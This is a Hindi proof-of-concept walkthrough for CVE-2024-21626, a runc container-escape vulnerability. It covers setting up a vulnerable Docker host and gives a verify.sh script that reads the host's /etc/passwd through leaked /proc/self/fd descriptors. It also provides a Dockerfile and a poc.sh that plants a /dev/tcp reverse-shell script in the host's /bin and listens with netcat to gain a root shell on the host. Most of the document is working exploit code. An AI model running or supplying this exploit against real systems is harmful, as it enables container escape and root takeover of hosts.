CVE-2024-21626

POC

आवश्यकताएँ

runc 1.1.0 <= 1.1.11

संवेदनशील वातावरण की स्थापना

Ubuntu 20.04 के साथ एक VM तैनात करें और उनके गाइड का पालन करके Docker डाउनलोड करें

https://docs.docker.com/engine/install/ubuntu/

Docker में पैच किए गए 'runc' संस्करण को एक संवेदनशील संस्करण में बदलें

runc github रिपॉजिटरी से एक संवेदनशील संस्करण (runc 1.1.11 या उससे पहले) डाउनलोड करें: https://github.com/opencontainers/runc/releases
runc.amd64 चुनें (आवश्यकता)

शोषण करना

स्क्रिप्ट 'verify.sh' चलाएँ

#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

Dockerfile में कार्य निर्देशिका को verify.sh चलाकर मिले सही fd में बदलें

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9

एक कंटेनर बनाएँ

docker build . -t name_of_container

poc.sh

#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337

कंटेनर इमेज चलाएँ और bash शेल में poc.sh निष्पादित करें

docker run -it --rm cve2024 bash /poc.sh

कंटेनर सुनने के मोड में प्रवेश करता है

होस्ट मशीन पर रूट में 'bash.copy' नामक एक नई स्क्रिप्ट बनाई गई है, निर्देशिका /proc/self/cwd/../../../bin/ में

स्क्रिप्ट को निष्पादन योग्य बनाकर और चलाकर...

chmod +x bash.copy
./bash.copy

... आप होस्ट मशीन पर रूट विशेषाधिकारों के साथ एक रिवर्स शेल प्राप्त करेंगे

स्रोत

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0